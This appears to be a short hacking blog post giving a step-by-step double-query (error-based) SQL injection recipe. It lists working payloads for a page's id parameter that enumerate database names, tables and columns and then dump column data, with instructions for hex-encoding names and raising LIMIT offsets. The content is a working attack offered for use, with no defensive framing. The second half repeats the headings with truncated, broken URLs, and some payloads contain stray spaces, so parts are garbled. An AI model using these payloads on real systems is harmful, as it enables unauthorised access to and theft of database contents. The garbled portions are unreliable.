Double Query Sql Injection Code...
Finding Out Database :
www.example.com/ index.php?id=myass and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0 x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_sc hema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
Finding Out Tables :
whatever.com/ index.php?id=myass and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0 x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xHEX LIMIT 0,1 )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x )a) and 1=1
Replace Hex of 0xHEX with database hex code.
** increase 1st limit to show all tables.
Finding Out column :
www.example.com/ index.php?id=myass and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0 x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0xHEXDATABAS E AND table_name=0xHEXTABLENAME LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2) )x from information_schema.tables group by x)a) and 1=1
Replace HEXDATABAS E of 0xHEXDATABAS E & HEXTABLENAME of 0xHEXTABLENAME with hex code.
** increase the 1st limit to get all column name.
Now use the following code to Dump All Column Data :
www.example.com/ index.php?id=myass and (select 1 from (select count(*),concat((select(select concat(cast(concat(COLUMN_NAM E,0x7e,COLUMN_NAME) as char),0x7e)) from database.table limit 0,1),floor(rand(0)*2))x from information_sc hema.tables group by x)a)
Finding Out Database :
www.example.com/
Finding Out Tables :
whatever.com/
Replace Hex of 0xHEX with database hex code.
** increase 1st limit to show all tables.
Finding Out column :
www.example.com/
Replace HEXDATABAS
** increase the 1st limit to get all column name.
Now use the following code to Dump All Column Data :
www.example.com/
ConversionConversion EmoticonEmoticon